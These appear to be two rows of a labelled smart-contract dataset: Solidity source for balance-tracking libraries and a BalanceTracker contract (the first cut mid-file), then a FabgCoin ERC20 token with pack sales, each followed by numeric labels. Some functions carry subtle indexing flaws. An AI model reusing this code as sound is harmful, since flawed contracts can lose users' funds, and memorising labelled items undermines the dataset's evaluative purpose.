c; } function sub(int256 a, int256 b) internal pure returns (int256) { require((b >= 0 && a - b <= a) || (b < 0 && a - b > a)); return a - b; } function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } function div_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b > 0); return a / b; } function mul_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a * b; require(a == 0 || c / a == b); require(c >= 0); return c; } function sub_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0 && b <= a); return a - b; } function add_nn(int256 a, int256 b) internal pure returns (int256) { require(a >= 0 && b >= 0); int256 c = a + b; require(c >= a); return c; } function abs(int256 a) public pure returns (int256) { return a < 0 ? neg(a) : a; } function neg(int256 a) public pure returns (int256) { return mul(a, - 1); } function toNonZeroInt256(uint256 a) public pure returns (int256) { require(a > 0 && a < (uint256(1) << 255)); return int256(a); } function toInt256(uint256 a) public pure returns (int256) { require(a >= 0 && a < (uint256(1) << 255)); return int256(a); } function toUInt256(int256 a) public pure returns (uint256) { require(a >= 0); return uint256(a); } function isNonZeroPositiveInt256(int256 a) public pure returns (bool) { return (a > 0); } function isPositiveInt256(int256 a) public pure returns (bool) { return (a >= 0); } function isNonZeroNegativeInt256(int256 a) public pure returns (bool) { return (a < 0); } function isNegativeInt256(int256 a) public pure returns (bool) { return (a <= 0); } function clamp(int256 a, int256 min, int256 max) public pure returns (int256) { if (a < min) return min; return (a > max) ? max : a; } function clampMin(int256 a, int256 min) public pure returns (int256) { return (a < min) ? min : a; } function clampMax(int256 a, int256 max) public pure returns (int256) { return (a > max) ? max : a; } } library SafeMathUintLib { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function clamp(uint256 a, uint256 min, uint256 max) public pure returns (uint256) { return (a > max) ? max : ((a < min) ? min : a); } function clampMin(uint256 a, uint256 min) public pure returns (uint256) { return (a < min) ? min : a; } function clampMax(uint256 a, uint256 max) public pure returns (uint256) { return (a > max) ? max : a; } } library MonetaryTypesLib { struct Currency { address ct; uint256 id; } struct Figure { int256 amount; Currency currency; } } library CurrenciesLib { using SafeMathUintLib for uint256; struct Currencies { MonetaryTypesLib.Currency[] currencies; mapping(address => mapping(uint256 => uint256)) indexByCurrency; } function add(Currencies storage self, address currencyCt, uint256 currencyId) internal { if (0 == self.indexByCurrency[currencyCt][currencyId]) { self.currencies.push(MonetaryTypesLib.Currency(currencyCt, currencyId)); self.indexByCurrency[currencyCt][currencyId] = self.currencies.length; } } function removeByCurrency(Currencies storage self, address currencyCt, uint256 currencyId) internal { uint256 index = self.indexByCurrency[currencyCt][currencyId]; if (0 < index) removeByIndex(self, index - 1); } function removeByIndex(Currencies storage self, uint256 index) internal { require(index < self.currencies.length); address currencyCt = self.currencies[index].ct; uint256 currencyId = self.currencies[index].id; if (index < self.currencies.length - 1) { self.currencies[index] = self.currencies[self.currencies.length - 1]; self.indexByCurrency[self.currencies[index].ct][self.currencies[index].id] = index + 1; } self.currencies.length--; self.indexByCurrency[currencyCt][currencyId] = 0; } function count(Currencies storage self) internal view returns (uint256) { return self.currencies.length; } function has(Currencies storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return 0 != self.indexByCurrency[currencyCt][currencyId]; } function getByIndex(Currencies storage self, uint256 index) internal view returns (MonetaryTypesLib.Currency) { require(index < self.currencies.length); return self.currencies[index]; } function getByIndices(Currencies storage self, uint256 low, uint256 up) internal view returns (MonetaryTypesLib.Currency[]) { require(0 < self.currencies.length); require(low <= up); up = up.clampMax(self.currencies.length - 1); MonetaryTypesLib.Currency[] memory _currencies = new MonetaryTypesLib.Currency[](up - low + 1); for (uint256 i = low; i <= up; i++) _currencies[i - low] = self.currencies[i]; return _currencies; } } library FungibleBalanceLib { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; struct Record { int256 amount; uint256 blockNumber; } struct Balance { mapping(address => mapping(uint256 => int256)) amountByCurrency; mapping(address => mapping(uint256 => Record[])) recordsByCurrency; CurrenciesLib.Currencies inUseCurrencies; CurrenciesLib.Currencies everUsedCurrencies; } function get(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256) { return self.amountByCurrency[currencyCt][currencyId]; } function getByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256) { (int256 amount,) = recordByBlockNumber(self, currencyCt, currencyId, blockNumber); return amount; } function set(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = amount; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function add(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub(_from, amount, currencyCt, currencyId); add(_to, amount, currencyCt, currencyId); } function add_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].add_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function sub_nn(Balance storage self, int256 amount, address currencyCt, uint256 currencyId) internal { self.amountByCurrency[currencyCt][currencyId] = self.amountByCurrency[currencyCt][currencyId].sub_nn(amount); self.recordsByCurrency[currencyCt][currencyId].push( Record(self.amountByCurrency[currencyCt][currencyId], block.number) ); updateCurrencies(self, currencyCt, currencyId); } function transfer_nn(Balance storage _from, Balance storage _to, int256 amount, address currencyCt, uint256 currencyId) internal { sub_nn(_from, amount, currencyCt, currencyId); add_nn(_to, amount, currencyCt, currencyId); } function recordsCount(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.recordsByCurrency[currencyCt][currencyId].length; } function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256, uint256) { uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber); return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (0, 0); } function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1); Record storage record = self.recordsByCurrency[currencyCt][currencyId][index]; return (record.amount, record.blockNumber); } function lastRecord(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256, uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (0, 0); Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1]; return (record.amount, record.blockNumber); } function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.inUseCurrencies.has(currencyCt, currencyId); } function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.everUsedCurrencies.has(currencyCt, currencyId); } function updateCurrencies(Balance storage self, address currencyCt, uint256 currencyId) internal { if (0 == self.amountByCurrency[currencyCt][currencyId] && self.inUseCurrencies.has(currencyCt, currencyId)) self.inUseCurrencies.removeByCurrency(currencyCt, currencyId); else if (!self.inUseCurrencies.has(currencyCt, currencyId)) { self.inUseCurrencies.add(currencyCt, currencyId); self.everUsedCurrencies.add(currencyCt, currencyId); } } function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return 0; for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--) if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber) return i; return 0; } } library NonFungibleBalanceLib { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using CurrenciesLib for CurrenciesLib.Currencies; struct Record { int256[] ids; uint256 blockNumber; } struct Balance { mapping(address => mapping(uint256 => int256[])) idsByCurrency; mapping(address => mapping(uint256 => mapping(int256 => uint256))) idIndexById; mapping(address => mapping(uint256 => Record[])) recordsByCurrency; CurrenciesLib.Currencies inUseCurrencies; CurrenciesLib.Currencies everUsedCurrencies; } function get(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256[]) { return self.idsByCurrency[currencyCt][currencyId]; } function getByIndices(Balance storage self, address currencyCt, uint256 currencyId, uint256 indexLow, uint256 indexUp) internal view returns (int256[]) { if (0 == self.idsByCurrency[currencyCt][currencyId].length) return new int256[](0); indexUp = indexUp.clampMax(self.idsByCurrency[currencyCt][currencyId].length - 1); int256[] memory idsByCurrency = new int256[](indexUp - indexLow + 1); for (uint256 i = indexLow; i < indexUp; i++) idsByCurrency[i - indexLow] = self.idsByCurrency[currencyCt][currencyId][i]; return idsByCurrency; } function idsCount(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.idsByCurrency[currencyCt][currencyId].length; } function hasId(Balance storage self, int256 id, address currencyCt, uint256 currencyId) internal view returns (bool) { return 0 < self.idIndexById[currencyCt][currencyId][id]; } function recordByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (int256[], uint256) { uint256 index = indexByBlockNumber(self, currencyCt, currencyId, blockNumber); return 0 < index ? recordByIndex(self, currencyCt, currencyId, index - 1) : (new int256[](0), 0); } function recordByIndex(Balance storage self, address currencyCt, uint256 currencyId, uint256 index) internal view returns (int256[], uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (new int256[](0), 0); index = index.clampMax(self.recordsByCurrency[currencyCt][currencyId].length - 1); Record storage record = self.recordsByCurrency[currencyCt][currencyId][index]; return (record.ids, record.blockNumber); } function lastRecord(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (int256[], uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return (new int256[](0), 0); Record storage record = self.recordsByCurrency[currencyCt][currencyId][self.recordsByCurrency[currencyCt][currencyId].length - 1]; return (record.ids, record.blockNumber); } function recordsCount(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (uint256) { return self.recordsByCurrency[currencyCt][currencyId].length; } function set(Balance storage self, int256 id, address currencyCt, uint256 currencyId) internal { int256[] memory ids = new int256[](1); ids[0] = id; set(self, ids, currencyCt, currencyId); } function set(Balance storage self, int256[] ids, address currencyCt, uint256 currencyId) internal { uint256 i; for (i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++) self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = 0; self.idsByCurrency[currencyCt][currencyId] = ids; for (i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++) self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = i + 1; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.idsByCurrency[currencyCt][currencyId], block.number) ); updateInUseCurrencies(self, currencyCt, currencyId); } function reset(Balance storage self, address currencyCt, uint256 currencyId) internal { for (uint256 i = 0; i < self.idsByCurrency[currencyCt][currencyId].length; i++) self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][i]] = 0; self.idsByCurrency[currencyCt][currencyId].length = 0; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.idsByCurrency[currencyCt][currencyId], block.number) ); updateInUseCurrencies(self, currencyCt, currencyId); } function add(Balance storage self, int256 id, address currencyCt, uint256 currencyId) internal returns (bool) { if (0 < self.idIndexById[currencyCt][currencyId][id]) return false; self.idsByCurrency[currencyCt][currencyId].push(id); self.idIndexById[currencyCt][currencyId][id] = self.idsByCurrency[currencyCt][currencyId].length; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.idsByCurrency[currencyCt][currencyId], block.number) ); updateInUseCurrencies(self, currencyCt, currencyId); return true; } function sub(Balance storage self, int256 id, address currencyCt, uint256 currencyId) internal returns (bool) { uint256 index = self.idIndexById[currencyCt][currencyId][id]; if (0 == index) return false; if (index < self.idsByCurrency[currencyCt][currencyId].length) { self.idsByCurrency[currencyCt][currencyId][index - 1] = self.idsByCurrency[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId].length - 1]; self.idIndexById[currencyCt][currencyId][self.idsByCurrency[currencyCt][currencyId][index - 1]] = index; } self.idsByCurrency[currencyCt][currencyId].length--; self.idIndexById[currencyCt][currencyId][id] = 0; self.recordsByCurrency[currencyCt][currencyId].push( Record(self.idsByCurrency[currencyCt][currencyId], block.number) ); updateInUseCurrencies(self, currencyCt, currencyId); return true; } function transfer(Balance storage _from, Balance storage _to, int256 id, address currencyCt, uint256 currencyId) internal returns (bool) { return sub(_from, id, currencyCt, currencyId) && add(_to, id, currencyCt, currencyId); } function hasInUseCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.inUseCurrencies.has(currencyCt, currencyId); } function hasEverUsedCurrency(Balance storage self, address currencyCt, uint256 currencyId) internal view returns (bool) { return self.everUsedCurrencies.has(currencyCt, currencyId); } function updateInUseCurrencies(Balance storage self, address currencyCt, uint256 currencyId) internal { if (0 == self.idsByCurrency[currencyCt][currencyId].length && self.inUseCurrencies.has(currencyCt, currencyId)) self.inUseCurrencies.removeByCurrency(currencyCt, currencyId); else if (!self.inUseCurrencies.has(currencyCt, currencyId)) { self.inUseCurrencies.add(currencyCt, currencyId); self.everUsedCurrencies.add(currencyCt, currencyId); } } function indexByBlockNumber(Balance storage self, address currencyCt, uint256 currencyId, uint256 blockNumber) internal view returns (uint256) { if (0 == self.recordsByCurrency[currencyCt][currencyId].length) return 0; for (uint256 i = self.recordsByCurrency[currencyCt][currencyId].length; i > 0; i--) if (self.recordsByCurrency[currencyCt][currencyId][i - 1].blockNumber <= blockNumber) return i; return 0; } } contract BalanceTracker is Ownable, Servable { using SafeMathIntLib for int256; using SafeMathUintLib for uint256; using FungibleBalanceLib for FungibleBalanceLib.Balance; using NonFungibleBalanceLib for NonFungibleBalanceLib.Balance; string constant public DEPOSITED_BALANCE_TYPE = "deposited"; string constant public SETTLED_BALANCE_TYPE = "settled"; string constant public STAGED_BALANCE_TYPE = "staged"; struct Wallet { mapping(bytes32 => FungibleBalanceLib.Balance) fungibleBalanceByType; mapping(bytes32 => NonFungibleBalanceLib.Balance) nonFungibleBalanceByType; } bytes32 public depositedBalanceType; bytes32 public settledBalanceType; bytes32 public stagedBalanceType; bytes32[] public _allBalanceTypes; bytes32[] public _activeBalanceTypes; bytes32[] public trackedBalanceTypes; mapping(bytes32 => bool) public trackedBalanceTypeMap; mapping(address => Wallet) private walletMap; address[] public trackedWallets; mapping(address => uint256) public trackedWalletIndexByWallet; constructor(address deployer) Ownable(deployer) public { depositedBalanceType = keccak256(abi.encodePacked(DEPOSITED_BALANCE_TYPE)); settledBalanceType = keccak256(abi.encodePacked(SETTLED_BALANCE_TYPE)); stagedBalanceType = keccak256(abi.encodePacked(STAGED_BALANCE_TYPE)); _allBalanceTypes.push(settledBalanceType); _allBalanceTypes.push(depositedBalanceType); _allBalanceTypes.push(stagedBalanceType); _activeBalanceTypes.push(settledBalanceType); _activeBalanceTypes.push(depositedBalanceType); } function get(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (int256) { return walletMap[wallet].fungibleBalanceByType[_type].get(currencyCt, currencyId); } function getByIndices(address wallet, bytes32 _type, address currencyCt, uint256 currencyId, uint256 indexLow, uint256 indexUp) public view returns (int256[]) { return walletMap[wallet].nonFungibleBalanceByType[_type].getByIndices( currencyCt, currencyId, indexLow, indexUp ); } function getAll(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (int256[]) { return walletMap[wallet].nonFungibleBalanceByType[_type].get( currencyCt, currencyId ); } function idsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (uint256) { return walletMap[wallet].nonFungibleBalanceByType[_type].idsCount( currencyCt, currencyId ); } function hasId(address wallet, bytes32 _type, int256 id, address currencyCt, uint256 currencyId) public view returns (bool) { return walletMap[wallet].nonFungibleBalanceByType[_type].hasId( id, currencyCt, currencyId ); } function set(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId, bool fungible) public onlyActiveService { if (fungible) walletMap[wallet].fungibleBalanceByType[_type].set( value, currencyCt, currencyId ); else walletMap[wallet].nonFungibleBalanceByType[_type].set( value, currencyCt, currencyId ); _updateTrackedBalanceTypes(_type); _updateTrackedWallets(wallet); } function setIds(address wallet, bytes32 _type, int256[] ids, address currencyCt, uint256 currencyId) public onlyActiveService { walletMap[wallet].nonFungibleBalanceByType[_type].set( ids, currencyCt, currencyId ); _updateTrackedBalanceTypes(_type); _updateTrackedWallets(wallet); } function add(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId, bool fungible) public onlyActiveService { if (fungible) walletMap[wallet].fungibleBalanceByType[_type].add( value, currencyCt, currencyId ); else walletMap[wallet].nonFungibleBalanceByType[_type].add( value, currencyCt, currencyId ); _updateTrackedBalanceTypes(_type); _updateTrackedWallets(wallet); } function sub(address wallet, bytes32 _type, int256 value, address currencyCt, uint256 currencyId, bool fungible) public onlyActiveService { if (fungible) walletMap[wallet].fungibleBalanceByType[_type].sub( value, currencyCt, currencyId ); else walletMap[wallet].nonFungibleBalanceByType[_type].sub( value, currencyCt, currencyId ); _updateTrackedWallets(wallet); } function hasInUseCurrency(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (bool) { return walletMap[wallet].fungibleBalanceByType[_type].hasInUseCurrency(currencyCt, currencyId) || walletMap[wallet].nonFungibleBalanceByType[_type].hasInUseCurrency(currencyCt, currencyId); } function hasEverUsedCurrency(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (bool) { return walletMap[wallet].fungibleBalanceByType[_type].hasEverUsedCurrency(currencyCt, currencyId) || walletMap[wallet].nonFungibleBalanceByType[_type].hasEverUsedCurrency(currencyCt, currencyId); } function fungibleRecordsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (uint256) { return walletMap[wallet].fungibleBalanceByType[_type].recordsCount(currencyCt, currencyId); } function fungibleRecordByIndex(address wallet, bytes32 _type, address currencyCt, uint256 currencyId, uint256 index) public view returns (int256 amount, uint256 blockNumber) { return walletMap[wallet].fungibleBalanceByType[_type].recordByIndex(currencyCt, currencyId, index); } function fungibleRecordByBlockNumber(address wallet, bytes32 _type, address currencyCt, uint256 currencyId, uint256 _blockNumber) public view returns (int256 amount, uint256 blockNumber) { return walletMap[wallet].fungibleBalanceByType[_type].recordByBlockNumber(currencyCt, currencyId, _blockNumber); } function lastFungibleRecord(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (int256 amount, uint256 blockNumber) { return walletMap[wallet].fungibleBalanceByType[_type].lastRecord(currencyCt, currencyId); } function nonFungibleRecordsCount(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (uint256) { return walletMap[wallet].nonFungibleBalanceByType[_type].recordsCount(currencyCt, currencyId); } function nonFungibleRecordByIndex(address wallet, bytes32 _type, address currencyCt, uint256 currencyId, uint256 index) public view returns (int256[] ids, uint256 blockNumber) { return walletMap[wallet].nonFungibleBalanceByType[_type].recordByIndex(currencyCt, currencyId, index); } function nonFungibleRecordByBlockNumber(address wallet, bytes32 _type, address currencyCt, uint256 currencyId, uint256 _blockNumber) public view returns (int256[] ids, uint256 blockNumber) { return walletMap[wallet].nonFungibleBalanceByType[_type].recordByBlockNumber(currencyCt, currencyId, _blockNumber); } function lastNonFungibleRecord(address wallet, bytes32 _type, address currencyCt, uint256 currencyId) public view returns (int256[] ids, uint256 blockNumber) { return walletMap[wallet].nonFungibleBalanceByType[_type].lastRecord(currencyCt, currencyId); } function trackedBalanceTypesCount() public view returns (uint256) { return trackedBalanceTypes.length; } function trackedWalletsCount() public view returns (uint256) { return trackedWallets.length; } function allBalanceTypes() public view returns (bytes32[]) { return _allBalanceTypes; } function activeBalanceTypes() public view returns (bytes32[]) { return _activeBalanceTypes; } function trackedWalletsByIndices(uint256 low, uint256 up) public view returns (address[]) { require(0 < trackedWallets.length); require(low <= up); up = up.clampMax(trackedWallets.length - 1); address[] memory _trackedWallets = new address[](up - low + 1); for (uint256 i = low; i <= up; i++) _trackedWallets[i - low] = trackedWallets[i]; return _trackedWallets; } function _updateTrackedBalanceTypes(bytes32 _type) private { if (!trackedBalanceTypeMap[_type]) { trackedBalanceTypeMap[_type] = true; trackedBalanceTypes.push(_type); } } function _updateTrackedWallets(address wallet) private { if (0 == trackedWalletIndexByWallet[wallet]) { trackedWallets.push(wallet); trackedWalletIndexByWallet[wallet] = trackedWallets.length; } } }
1
3,994
pragma solidity ^0.4.24; contract Ownable { address public owner; event OwnershipRenounced(address previousOwner); event OwnershipTransferred( address previousOwner, address newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } library SafeMath { function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) { if (_a == 0) { return 0; } c = _a * _b; assert(c / _a == _b); return c; } function div(uint256 _a, uint256 _b) internal pure returns (uint256) { return _a / _b; } function sub(uint256 _a, uint256 _b) internal pure returns (uint256) { assert(_b <= _a); return _a - _b; } function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) { c = _a + _b; assert(c >= _a); return c; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address from, address to, uint256 value ); event Approval( address owner, address spender, uint256 value ); } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; bool public isPaused; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(isPaused == false, "transactions on pause"); require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _allowed[from][msg.sender]); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); require(isPaused == false, "transactions on pause"); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); require(isPaused == false, "transactions on pause"); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _transfer(address from, address to, uint256 value) internal { require(value <= _balances[from]); require(to != address(0)); require(isPaused == false, "transactions on pause"); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } function _mint(address account, uint256 value) internal { require(account != 0); require(isPaused == false, "transactions on pause"); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } function _burn(address account, uint256 value) internal { require(account != 0); require(value <= _balances[account]); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } function _burnFrom(address account, uint256 value) internal { require(value <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( value); _burn(account, value); } } contract FabgCoin is ERC20, Ownable { string public name; string public symbol; uint8 public decimals; uint256 public rate; uint256 public minimalPayment; bool public isBuyBlocked; address saleAgent; uint256 public totalEarnings; event TokensCreatedWithoutPayment(address Receiver, uint256 Amount); event BoughtTokens(address Receiver, uint256 Amount, uint256 sentWei); event BuyPaused(); event BuyUnpaused(); event UsagePaused(); event UsageUnpaused(); event Payment(address payer, uint256 weiAmount); modifier onlySaleAgent() { require(msg.sender == saleAgent); _; } function changeRate(uint256 _rate) public onlyOwner { rate = _rate; } function pauseCustomBuying() public onlyOwner { require(isBuyBlocked == false); isBuyBlocked = true; emit BuyPaused(); } function resumeCustomBuy() public onlyOwner { require(isBuyBlocked == true); isBuyBlocked = false; emit BuyUnpaused(); } function pauseUsage() public onlyOwner { require(isPaused == false); isPaused = true; emit UsagePaused(); } function resumeUsage() public onlyOwner { require(isPaused == true); isPaused = false; emit UsageUnpaused(); } function setSaleAgent(address _saleAgent) public onlyOwner { require(saleAgent == address(0)); saleAgent = _saleAgent; } function createTokenWithoutPayment(address _receiver, uint256 _amount) public onlyOwner { _mint(_receiver, _amount); emit TokensCreatedWithoutPayment(_receiver, _amount); } function createTokenViaSaleAgent(address _receiver, uint256 _amount) public onlySaleAgent { _mint(_receiver, _amount); } function buyTokens() public payable { require(msg.value >= minimalPayment); require(isBuyBlocked == false); uint256 amount = msg.value.mul(rate); _mint(msg.sender, amount); totalEarnings = totalEarnings.add(amount.div(rate)); emit BoughtTokens(msg.sender, amount, msg.value); } } contract FabgCoinMarketPack is FabgCoin { using SafeMath for uint256; bool isPausedForSale; mapping(uint256 => uint256) packsToWei; uint256[] packs; uint256 public totalEarningsForPackSale; address adminsWallet; event MarketPaused(); event MarketUnpaused(); event PackCreated(uint256 TokensAmount, uint256 WeiAmount); event PackDeleted(uint256 TokensAmount); event PackBought(address Buyer, uint256 TokensAmount, uint256 WeiAmount); event Withdrawal(address receiver, uint256 weiAmount); constructor() public { name = "FabgCoin"; symbol = "FABG"; decimals = 18; rate = 100; minimalPayment = 1 ether / 100; isBuyBlocked = true; } function setAddressForPayment(address _newMultisig) public onlyOwner { adminsWallet = _newMultisig; } function() public payable { emit Payment(msg.sender, msg.value); } function pausePackSelling() public onlyOwner { require(isPausedForSale == false); isPausedForSale = true; emit MarketPaused(); } function unpausePackSelling() public onlyOwner { require(isPausedForSale == true); isPausedForSale = false; emit MarketUnpaused(); } function addPack(uint256 _amountOfTokens, uint256 _amountOfWei) public onlyOwner { require(packsToWei[_amountOfTokens] == 0); require(_amountOfTokens != 0); require(_amountOfWei != 0); packs.push(_amountOfTokens); packsToWei[_amountOfTokens] = _amountOfWei; emit PackCreated(_amountOfTokens, _amountOfWei); } function buyPack(uint256 _amountOfTokens) public payable { require(packsToWei[_amountOfTokens] > 0); require(msg.value >= packsToWei[_amountOfTokens]); require(isPausedForSale == false); _mint(msg.sender, _amountOfTokens * 1 ether); (msg.sender).transfer(msg.value.sub(packsToWei[_amountOfTokens])); totalEarnings = totalEarnings.add(packsToWei[_amountOfTokens]); totalEarningsForPackSale = totalEarningsForPackSale.add(packsToWei[_amountOfTokens]); emit PackBought(msg.sender, _amountOfTokens, packsToWei[_amountOfTokens]); } function withdraw() public onlyOwner { require(adminsWallet != address(0), "admins wallet couldn't be 0x0"); uint256 amount = address(this).balance; (adminsWallet).transfer(amount); emit Withdrawal(adminsWallet, amount); } function deletePack(uint256 _amountOfTokens) public onlyOwner { require(packsToWei[_amountOfTokens] != 0); require(_amountOfTokens != 0); packsToWei[_amountOfTokens] = 0; uint256 index; for(uint256 i = 0; i < packs.length; i++) { if(packs[i] == _amountOfTokens) { index = i; break; } } for(i = index; i < packs.length - 1; i++) { packs[i] = packs[i + 1]; } packs.length--; emit PackDeleted(_amountOfTokens); } function getAllPacks() public view returns (uint256[]) { return packs; } function getPackPrice(uint256 _amountOfTokens) public view returns (uint256) { return packsToWei[_amountOfTokens]; } }
1
4,567
